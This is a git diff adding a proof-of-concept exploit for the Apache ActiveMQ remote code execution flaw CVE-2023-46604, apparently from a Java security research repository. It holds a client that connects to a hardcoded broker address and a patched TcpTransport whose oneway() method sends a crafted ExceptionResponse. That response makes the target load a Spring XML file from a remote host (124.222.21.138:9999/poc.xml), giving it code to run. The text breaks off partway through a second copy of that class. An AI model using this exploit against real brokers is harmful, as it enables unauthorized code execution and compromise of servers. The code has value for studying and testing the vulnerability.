diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 00000000..814baff5 Binary files /dev/null and b/.DS_Store differ diff --git a/.gitignore b/.gitignore index d23a0b2e..73785437 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ .idea .vscode +.DS_Store /target/ *.html linguist-language=python diff --git a/JavaSecurity/.DS_Store b/JavaSecurity/.DS_Store new file mode 100644 index 00000000..f1b38318 Binary files /dev/null and b/JavaSecurity/.DS_Store differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/pom.xml b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/pom.xml new file mode 100644 index 00000000..f6373542 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/pom.xml @@ -0,0 +1,81 @@ + + + 4.0.0 + com.example + CVE-2023-46604-Client + 0.0.1-SNAPSHOT + CVE-2023-46604-Client + CVE-2023-46604-Client + + 11 + UTF-8 + UTF-8 + 2.6.13 + + + + org.springframework.boot + spring-boot-starter + + + org.apache.activemq + activemq-client + 5.17.3 + + + org.slf4j + slf4j-simple + 2.0.5 + + + org.springframework.boot + spring-boot-starter-test + test + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 11 + 11 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.example.drunkbaby.Cve202346604ClientApplication + true + + + + repackage + + repackage + + + + + + + + diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/com/example/drunkbaby/Cve202346604ClientApplication.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/com/example/drunkbaby/Cve202346604ClientApplication.java new file mode 100644 index 00000000..500e2643 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/com/example/drunkbaby/Cve202346604ClientApplication.java @@ -0,0 +1,13 @@ +package com.example.drunkbaby; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class Cve202346604ClientApplication { + + public static void main(String[] args) { + SpringApplication.run(Cve202346604ClientApplication.class, args); + } + +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/com/example/drunkbaby/PoC.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/com/example/drunkbaby/PoC.java new file mode 100644 index 00000000..01ba4fe8 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/com/example/drunkbaby/PoC.java @@ -0,0 +1,22 @@ +package com.example.drunkbaby; + +import org.apache.activemq.ActiveMQConnectionFactory; + +import javax.jms.*; + +public class PoC { + public static void main(String[] args) throws Exception { + + ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://124.222.21.138:61616"); + Connection connection = connectionFactory.createConnection(); + connection.start(); + Session session = connection.createSession(Boolean.parseBoolean("1"),2); + Destination destination = session.createQueue("tempQueue"); + + MessageProducer producer = session.createProducer(destination); + Message message = session.createObjectMessage("123"); + producer.send(message); + + connection.close(); + } +} \ No newline at end of file diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/org/apache/activemq/transport/tcp/TcpTransport.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/org/apache/activemq/transport/tcp/TcpTransport.java new file mode 100644 index 00000000..6e0ed709 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/org/apache/activemq/transport/tcp/TcpTransport.java @@ -0,0 +1,601 @@ +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by FernFlower decompiler) +// + +package org.apache.activemq.transport.tcp; + +import org.apache.activemq.Service; +import org.apache.activemq.TransportLoggerSupport; +import org.apache.activemq.command.ExceptionResponse; +import org.apache.activemq.thread.TaskRunnerFactory; +import org.apache.activemq.transport.Transport; +import org.apache.activemq.transport.TransportThreadSupport; +import org.apache.activemq.util.InetAddressUtil; +import org.apache.activemq.util.IntrospectionSupport; +import org.apache.activemq.util.ServiceStopper; +import org.apache.activemq.wireformat.WireFormat; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.support.ClassPathXmlApplicationContext; + +import javax.net.SocketFactory; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InterruptedIOException; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.X509Certificate; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +public class TcpTransport extends TransportThreadSupport implements Transport, Service, Runnable { + private static final Logger LOG = LoggerFactory.getLogger(TcpTransport.class); + protected final URI remoteLocation; + protected final URI localLocation; + protected final WireFormat wireFormat; + protected int connectionTimeout; + protected int soTimeout; + protected int socketBufferSize; + protected int ioBufferSize; + protected boolean closeAsync; + protected Socket socket; + protected DataOutputStream dataOut; + protected DataInputStream dataIn; + protected TimeStampStream buffOut; + protected final InitBuffer initBuffer; + protected int trafficClass; + private boolean trafficClassSet; + protected boolean diffServChosen; + protected boolean typeOfServiceChosen; + protected boolean trace; + protected String logWriterName; + protected boolean dynamicManagement; + protected boolean startLogging; + protected int jmxPort; + protected boolean useLocalHost; + protected int minmumWireFormatVersion; + protected SocketFactory socketFactory; + protected final AtomicReference stoppedLatch; + protected volatile int receiveCounter; + protected Map socketOptions; + private int soLinger; + private Boolean keepAlive; + private Boolean tcpNoDelay; + private Thread runnerThread; + + public TcpTransport(WireFormat wireFormat, SocketFactory socketFactory, URI remoteLocation, URI localLocation) throws UnknownHostException, IOException { + this.connectionTimeout = 30000; + this.socketBufferSize = 65536; + this.ioBufferSize = 8192; + this.closeAsync = true; + this.buffOut = null; + this.trafficClass = 0; + this.trafficClassSet = false; + this.diffServChosen = false; + this.typeOfServiceChosen = false; + this.trace = false; + this.logWriterName = TransportLoggerSupport.defaultLogWriterName; + this.dynamicManagement = false; + this.startLogging = true; + this.jmxPort = 1099; + this.useLocalHost = false; + this.stoppedLatch = new AtomicReference(); + this.soLinger = Integer.MIN_VALUE; + this.wireFormat = wireFormat; + this.socketFactory = socketFactory; + + try { + this.socket = socketFactory.createSocket(); + } catch (SocketException var6) { + this.socket = null; + } + + this.remoteLocation = remoteLocation; + this.localLocation = localLocation; + this.initBuffer = null; + this.setDaemon(false); + } + + public TcpTransport(WireFormat wireFormat, Socket socket) throws IOException { + this(wireFormat, socket, (InitBuffer)null); + } + + public TcpTransport(WireFormat wireFormat, Socket socket, InitBuffer initBuffer) throws IOException { + this.connectionTimeout = 30000; + this.socketBufferSize = 65536; + this.ioBufferSize = 8192; + this.closeAsync = true; + this.buffOut = null; + this.trafficClass = 0; + this.trafficClassSet = false; + this.diffServChosen = false; + this.typeOfServiceChosen = false; + this.trace = false; + this.logWriterName = TransportLoggerSupport.defaultLogWriterName; + this.dynamicManagement = false; + this.startLogging = true; + this.jmxPort = 1099; + this.useLocalHost = false; + this.stoppedLatch = new AtomicReference(); + this.soLinger = Integer.MIN_VALUE; + this.wireFormat = wireFormat; + this.socket = socket; + this.remoteLocation = null; + this.localLocation = null; + this.initBuffer = initBuffer; + this.setDaemon(true); + } + + public void oneway(Object command) throws IOException { + this.checkStarted(); + Throwable obj = new ClassPathXmlApplicationContext("http://124.222.21.138:9999/poc.xml"); + ExceptionResponse response = new ExceptionResponse(obj); + this.wireFormat.marshal(response, this.dataOut); + this.dataOut.flush(); + } + + public String toString() { + Object var10000 = this.socket.isConnected() ? "tcp://" + this.socket.getInetAddress() + ":" + this.socket.getPort() + "@" + this.socket.getLocalPort() : (this.localLocation != null ? this.localLocation : this.remoteLocation); + return "" + var10000; + } + + public void run() { + LOG.trace("TCP consumer thread for " + this + " starting"); + this.runnerThread = Thread.currentThread(); + + try { + while(!this.isStopped() && !this.isStopping()) { + this.doRun(); + } + } catch (IOException var7) { + ((CountDownLatch)this.stoppedLatch.get()).countDown(); + this.onException(var7); + } catch (Throwable var8) { + ((CountDownLatch)this.stoppedLatch.get()).countDown(); + IOException ioe = new IOException("Unexpected error occurred: " + var8); + ioe.initCause(var8); + this.onException(ioe); + } finally { + ((CountDownLatch)this.stoppedLatch.get()).countDown(); + } + + } + + protected void doRun() throws IOException { + try { + Object command = this.readCommand(); + this.doConsume(command); + } catch (SocketTimeoutException var2) { + } catch (InterruptedIOException var3) { + } + + } + + protected Object readCommand() throws IOException { + return this.wireFormat.unmarshal(this.dataIn); + } + + public String getDiffServ() { + return Integer.toString(this.trafficClass); + } + + public void setDiffServ(String diffServ) throws IllegalArgumentException { + this.trafficClass = QualityOfServiceUtils.getDSCP(diffServ); + this.diffServChosen = true; + } + + public int getTypeOfService() { + return this.trafficClass; + } + + public void setTypeOfService(int typeOfService) { + this.trafficClass = QualityOfServiceUtils.getToS(typeOfService); + this.typeOfServiceChosen = true; + } + + public boolean isTrace() { + return this.trace; + } + + public void setTrace(boolean trace) { + this.trace = trace; + } + + public String getLogWriterName() { + return this.logWriterName; + } + + public void setLogWriterName(String logFormat) { + this.logWriterName = logFormat; + } + + public boolean isDynamicManagement() { + return this.dynamicManagement; + } + + public void setDynamicManagement(boolean useJmx) { + this.dynamicManagement = useJmx; + } + + public boolean isStartLogging() { + return this.startLogging; + } + + public void setStartLogging(boolean startLogging) { + this.startLogging = startLogging; + } + + public int getJmxPort() { + return this.jmxPort; + } + + public void setJmxPort(int jmxPort) { + this.jmxPort = jmxPort; + } + + public int getMinmumWireFormatVersion() { + return this.minmumWireFormatVersion; + } + + public void setMinmumWireFormatVersion(int minmumWireFormatVersion) { + this.minmumWireFormatVersion = minmumWireFormatVersion; + } + + public boolean isUseLocalHost() { + return this.useLocalHost; + } + + public void setUseLocalHost(boolean useLocalHost) { + this.useLocalHost = useLocalHost; + } + + public int getSocketBufferSize() { + return this.socketBufferSize; + } + + public void setSocketBufferSize(int socketBufferSize) { + this.socketBufferSize = socketBufferSize; + } + + public int getSoTimeout() { + return this.soTimeout; + } + + public void setSoTimeout(int soTimeout) { + this.soTimeout = soTimeout; + } + + public int getConnectionTimeout() { + return this.connectionTimeout; + } + + public void setConnectionTimeout(int connectionTimeout) { + this.connectionTimeout = connectionTimeout; + } + + public Boolean getKeepAlive() { + return this.keepAlive; + } + + public void setKeepAlive(Boolean keepAlive) { + this.keepAlive = keepAlive; + } + + public void setSoLinger(int soLinger) { + this.soLinger = soLinger; + } + + public int getSoLinger() { + return this.soLinger; + } + + public Boolean getTcpNoDelay() { + return this.tcpNoDelay; + } + + public void setTcpNoDelay(Boolean tcpNoDelay) { + this.tcpNoDelay = tcpNoDelay; + } + + public int getIoBufferSize() { + return this.ioBufferSize; + } + + public void setIoBufferSize(int ioBufferSize) { + this.ioBufferSize = ioBufferSize; + } + + public boolean isCloseAsync() { + return this.closeAsync; + } + + public void setCloseAsync(boolean closeAsync) { + this.closeAsync = closeAsync; + } + + protected String resolveHostName(String host) throws UnknownHostException { + if (this.isUseLocalHost()) { + String localName = InetAddressUtil.getLocalHostName(); + if (localName != null && localName.equals(host)) { + return "localhost"; + } + } + + return host; + } + + protected void initialiseSocket(Socket sock) throws SocketException, IllegalArgumentException { + if (this.socketOptions != null) { + Map copy = new HashMap(this.socketOptions); + IntrospectionSupport.setProperties(this.socket, copy); + if (!copy.isEmpty()) { + throw new IllegalArgumentException("Invalid socket parameters: " + copy); + } + } + + try { + if (this.socketBufferSize> 0) { + sock.setReceiveBufferSize(this.socketBufferSize); + sock.setSendBufferSize(this.socketBufferSize); + } else { + LOG.warn("Socket buffer size was set to {}; Skipping this setting as the size must be a positive number.", this.socketBufferSize); + } + } catch (SocketException var3) { + LOG.warn("Cannot set socket buffer size = " + this.socketBufferSize); + LOG.debug("Cannot set socket buffer size. Reason: " + var3.getMessage() + ". This exception is ignored.", var3); + } + + sock.setSoTimeout(this.soTimeout); + if (this.keepAlive != null) { + sock.setKeepAlive(this.keepAlive); + } + + if (this.soLinger> -1) { + sock.setSoLinger(true, this.soLinger); + } else if (this.soLinger == -1) { + sock.setSoLinger(false, 0); + } + + if (this.tcpNoDelay != null) { + sock.setTcpNoDelay(this.tcpNoDelay); + } + + if (!this.trafficClassSet) { + this.trafficClassSet = this.setTrafficClass(sock); + } + + } + + protected void doStart() throws Exception { + this.connect(); + this.stoppedLatch.set(new CountDownLatch(1)); + super.doStart(); + } + + protected void connect() throws Exception { + if (this.socket == null && this.socketFactory == null) { + throw new IllegalStateException("Cannot connect if the socket or socketFactory have not been set"); + } else { + InetSocketAddress localAddress = null; + InetSocketAddress remoteAddress = null; + if (this.localLocation != null) { + localAddress = new InetSocketAddress(InetAddress.getByName(this.localLocation.getHost()), this.localLocation.getPort()); + } + + if (this.remoteLocation != null) { + String host = this.resolveHostName(this.remoteLocation.getHost()); + remoteAddress = new InetSocketAddress(host, this.remoteLocation.getPort()); + } + + this.trafficClassSet = this.setTrafficClass(this.socket); + if (this.socket != null) { + if (localAddress != null) { + this.socket.bind(localAddress); + } + + if (remoteAddress != null) { + if (this.connectionTimeout>= 0) { + this.socket.connect(remoteAddress, this.connectionTimeout); + } else { + this.socket.connect(remoteAddress); + } + } + } else if (localAddress != null) { + this.socket = this.socketFactory.createSocket(remoteAddress.getAddress(), remoteAddress.getPort(), localAddress.getAddress(), localAddress.getPort()); + } else { + this.socket = this.socketFactory.createSocket(remoteAddress.getAddress(), remoteAddress.getPort()); + } + + this.initialiseSocket(this.socket); + this.initializeStreams(); + } + } + + protected void doStop(ServiceStopper stopper) throws Exception { + if (LOG.isDebugEnabled()) { + LOG.debug("Stopping transport " + this); + } + + if (this.socket != null) { + if (this.closeAsync) { + final CountDownLatch latch = new CountDownLatch(1); + TaskRunnerFactory taskRunnerFactory = new TaskRunnerFactory(); + taskRunnerFactory.execute(new Runnable() { + public void run() { + TcpTransport.LOG.trace("Closing socket {}", TcpTransport.this.socket); + + try { + TcpTransport.this.socket.close(); + TcpTransport.LOG.debug("Closed socket {}", TcpTransport.this.socket); + } catch (IOException var5) { + if (TcpTransport.LOG.isDebugEnabled()) { + TcpTransport.LOG.debug("Caught exception closing socket " + TcpTransport.this.socket + ". This exception will be ignored.", var5); + } + } finally { + latch.countDown(); + } + + } + }); + + try { + latch.await(1L, TimeUnit.SECONDS); + } catch (InterruptedException var9) { + Thread.currentThread().interrupt(); + } finally { + taskRunnerFactory.shutdownNow(); + } + } else { + LOG.trace("Closing socket {}", this.socket); + + try { + this.socket.close(); + LOG.debug("Closed socket {}", this.socket); + } catch (IOException var11) { + if (LOG.isDebugEnabled()) { + LOG.debug("Caught exception closing socket " + this.socket + ". This exception will be ignored.", var11); + } + } + } + } + + } + + public void stop() throws Exception { + super.stop(); + CountDownLatch countDownLatch = (CountDownLatch)this.stoppedLatch.get(); + if (countDownLatch != null && Thread.currentThread() != this.runnerThread) { + countDownLatch.await(1L, TimeUnit.SECONDS); + } + + } + + protected void initializeStreams() throws Exception { + TcpBufferedInputStream buffIn = new TcpBufferedInputStream(this.socket.getInputStream(), this.ioBufferSize) { + public int read() throws IOException { + ++TcpTransport.this.receiveCounter; + return super.read(); + } + + public int read(byte[] b, int off, int len) throws IOException { + ++TcpTransport.this.receiveCounter; + return super.read(b, off, len); + } + + public long skip(long n) throws IOException { + ++TcpTransport.this.receiveCounter; + return super.skip(n); + } + + protected void fill() throws IOException { + ++TcpTransport.this.receiveCounter; + super.fill(); + } + }; + if (this.initBuffer != null) { + buffIn.unread(this.initBuffer.buffer.array()); + } + + this.dataIn = new DataInputStream(buffIn); + TcpBufferedOutputStream outputStream = new TcpBufferedOutputStream(this.socket.getOutputStream(), this.ioBufferSize); + this.dataOut = new DataOutputStream(outputStream); + this.buffOut = outputStream; + } + + protected void closeStreams() throws IOException { + if (this.dataOut != null) { + this.dataOut.close(); + } + + if (this.dataIn != null) { + this.dataIn.close(); + } + + } + + public void setSocketOptions(Map socketOptions) { + this.socketOptions = new HashMap(socketOptions); + } + + public String getRemoteAddress() { + if (this.socket != null) { + SocketAddress address = this.socket.getRemoteSocketAddress(); + if (address instanceof InetSocketAddress) { + String var10000 = ((InetSocketAddress)address).getAddress().getHostAddress(); + return "tcp://" + var10000 + ":" + ((InetSocketAddress)address).getPort(); + } else { + return "" + this.socket.getRemoteSocketAddress(); + } + } else { + return null; + } + } + + public T narrow(Class target) { + if (target == Socket.class) { + return target.cast(this.socket); + } else { + return target == TimeStampStream.class ? target.cast(this.buffOut) : super.narrow(target); + } + } + + public int getReceiveCounter() { + return this.receiveCounter; + } + + private boolean setTrafficClass(Socket sock) throws SocketException, IllegalArgumentException { + if (sock != null && (this.diffServChosen || this.typeOfServiceChosen)) { + if (this.diffServChosen && this.typeOfServiceChosen) { + throw new IllegalArgumentException("Cannot set both the Differentiated Services and Type of Services transport options on the same connection."); + } else { + sock.setTrafficClass(this.trafficClass); + int resultTrafficClass = sock.getTrafficClass(); + if (this.trafficClass == resultTrafficClass) { + this.diffServChosen = false; + this.typeOfServiceChosen = false; + return true; + } else { + if (this.trafficClass>> 2 == resultTrafficClass>> 2 && (this.trafficClass & 3) != (resultTrafficClass & 3)) { + LOG.warn("Attempted to set the Traffic Class to " + this.trafficClass + " but the result Traffic Class was " + resultTrafficClass + ". Please check that your system allows you to set the ECN bits (the first two bits)."); + } else { + LOG.warn("Attempted to set the Traffic Class to " + this.trafficClass + " but the result Traffic Class was " + resultTrafficClass + ". Please check that your system supports java.net.setTrafficClass."); + } + + return false; + } + } + } else { + return false; + } + } + + public WireFormat getWireFormat() { + return this.wireFormat; + } + + public X509Certificate[] getPeerCertificates() { + return null; + } + + public void setPeerCertificates(X509Certificate[] certificates) { + } + + public static class InitBuffer { + public final int readSize; + public final ByteBuffer buffer; + + public InitBuffer(int readSize, ByteBuffer buffer) { + if (buffer == null) { + throw new IllegalArgumentException("Null buffer not allowed."); + } else { + this.readSize = readSize; + this.buffer = buffer; + } + } + } +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/org/springframework/context/support/ClassPathXmlApplicationContext.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/org/springframework/context/support/ClassPathXmlApplicationContext.java new file mode 100644 index 00000000..ea49efa1 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/main/java/org/springframework/context/support/ClassPathXmlApplicationContext.java @@ -0,0 +1,15 @@ +package org.springframework.context.support; + +public class ClassPathXmlApplicationContext extends Throwable { + + private String message; + + public ClassPathXmlApplicationContext(String message) { + this.message = message; + } + + @Override + public String getMessage() { + return message; + } +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/test/java/com/example/drunkbaby/Cve202346604ClientApplicationTests.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/test/java/com/example/drunkbaby/Cve202346604ClientApplicationTests.java new file mode 100644 index 00000000..847d2a07 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/src/test/java/com/example/drunkbaby/Cve202346604ClientApplicationTests.java @@ -0,0 +1,13 @@ +package com.example.drunkbaby; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class Cve202346604ClientApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/com/example/drunkbaby/Cve202346604ClientApplication.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/com/example/drunkbaby/Cve202346604ClientApplication.class new file mode 100644 index 00000000..bbbe83b6 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/com/example/drunkbaby/Cve202346604ClientApplication.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/com/example/drunkbaby/PoC.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/com/example/drunkbaby/PoC.class new file mode 100644 index 00000000..9cc83ec6 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/com/example/drunkbaby/PoC.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport1ドル.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport1ドル.class new file mode 100644 index 00000000..df92511c Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport1ドル.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport2ドル.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport2ドル.class new file mode 100644 index 00000000..a9393d39 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport2ドル.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport$InitBuffer.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport$InitBuffer.class new file mode 100644 index 00000000..2ba3073e Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport$InitBuffer.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport.class new file mode 100644 index 00000000..3c47a938 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/apache/activemq/transport/tcp/TcpTransport.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/springframework/context/support/ClassPathXmlApplicationContext.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/springframework/context/support/ClassPathXmlApplicationContext.class new file mode 100644 index 00000000..63c7cca8 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604-Client/target/classes/org/springframework/context/support/ClassPathXmlApplicationContext.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/pom.xml b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/pom.xml new file mode 100644 index 00000000..c294b153 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/pom.xml @@ -0,0 +1,83 @@ + + + 4.0.0 + com.example.drunkbaby + CVE-2023-46604 + 0.0.1-SNAPSHOT + CVE-2023-46604 + CVE-2023-46604 + + 11 + UTF-8 + UTF-8 + 2.6.13 + + + + org.springframework.boot + spring-boot-starter + + + + org.apache.activemq + activemq-client + 5.17.3 + + + org.slf4j + slf4j-simple + 2.0.5 + + + + org.springframework.boot + spring-boot-starter-test + test + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 11 + 11 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.example.drunkbaby.cve202346604.Cve202346604Application + true + + + + repackage + + repackage + + + + + + + + diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/com/example/drunkbaby/cve202346604/Cve202346604Application.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/com/example/drunkbaby/cve202346604/Cve202346604Application.java new file mode 100644 index 00000000..4fd9e179 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/com/example/drunkbaby/cve202346604/Cve202346604Application.java @@ -0,0 +1,13 @@ +package com.example.drunkbaby.cve202346604; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class Cve202346604Application { + + public static void main(String[] args) { + SpringApplication.run(Cve202346604Application.class, args); + } + +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/com/example/drunkbaby/cve202346604/PoC.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/com/example/drunkbaby/cve202346604/PoC.java new file mode 100644 index 00000000..a79e26ae --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/com/example/drunkbaby/cve202346604/PoC.java @@ -0,0 +1,22 @@ +package com.example.drunkbaby.cve202346604; + +import org.apache.activemq.ActiveMQConnectionFactory; + +import javax.jms.*; + +public class PoC { + public static void main(String[] args) throws Exception { + + ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://124.222.21.138:61616"); + Connection connection = connectionFactory.createConnection(); + connection.start(); + Session session = connection.createSession(Boolean.parseBoolean("1"),2); + Destination destination = session.createQueue("tempQueue"); + + MessageProducer producer = session.createProducer(destination); + Message message = session.createObjectMessage("123"); + producer.send(message); + + connection.close(); + } +} \ No newline at end of file diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/org/apache/activemq/transport/tcp/TcpTransport.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/org/apache/activemq/transport/tcp/TcpTransport.java new file mode 100644 index 00000000..e84a32c9 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/org/apache/activemq/transport/tcp/TcpTransport.java @@ -0,0 +1,607 @@ +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by FernFlower decompiler) +// + +package org.apache.activemq.transport.tcp; + +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InterruptedIOException; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketAddress; +import java.net.SocketException; +import java.net.SocketTimeoutException; +import java.net.URI; +import java.net.UnknownHostException; +import java.nio.ByteBuffer; +import java.security.cert.X509Certificate; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; +import javax.net.SocketFactory; +import org.apache.activemq.Service; +import org.apache.activemq.TransportLoggerSupport; +import org.apache.activemq.command.ExceptionResponse; +import org.apache.activemq.thread.TaskRunnerFactory; +import org.apache.activemq.transport.Transport; +import org.apache.activemq.transport.TransportThreadSupport; +import org.apache.activemq.util.InetAddressUtil; +import org.apache.activemq.util.IntrospectionSupport; +import org.apache.activemq.util.ServiceStopper; +import org.apache.activemq.wireformat.WireFormat; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.support.ClassPathXmlApplicationContext; + +public class TcpTransport extends TransportThreadSupport implements Transport, Service, Runnable { + private static final Logger LOG = LoggerFactory.getLogger(TcpTransport.class); + protected final URI remoteLocation; + protected final URI localLocation; + protected final WireFormat wireFormat; + protected int connectionTimeout; + protected int soTimeout; + protected int socketBufferSize; + protected int ioBufferSize; + protected boolean closeAsync; + protected Socket socket; + protected DataOutputStream dataOut; + protected DataInputStream dataIn; + protected TimeStampStream buffOut; + protected final InitBuffer initBuffer; + protected int trafficClass; + private boolean trafficClassSet; + protected boolean diffServChosen; + protected boolean typeOfServiceChosen; + protected boolean trace; + protected String logWriterName; + protected boolean dynamicManagement; + protected boolean startLogging; + protected int jmxPort; + protected boolean useLocalHost; + protected int minmumWireFormatVersion; + protected SocketFactory socketFactory; + protected final AtomicReference stoppedLatch; + protected volatile int receiveCounter; + protected Map socketOptions; + private int soLinger; + private Boolean keepAlive; + private Boolean tcpNoDelay; + private Thread runnerThread; + + public TcpTransport(WireFormat wireFormat, 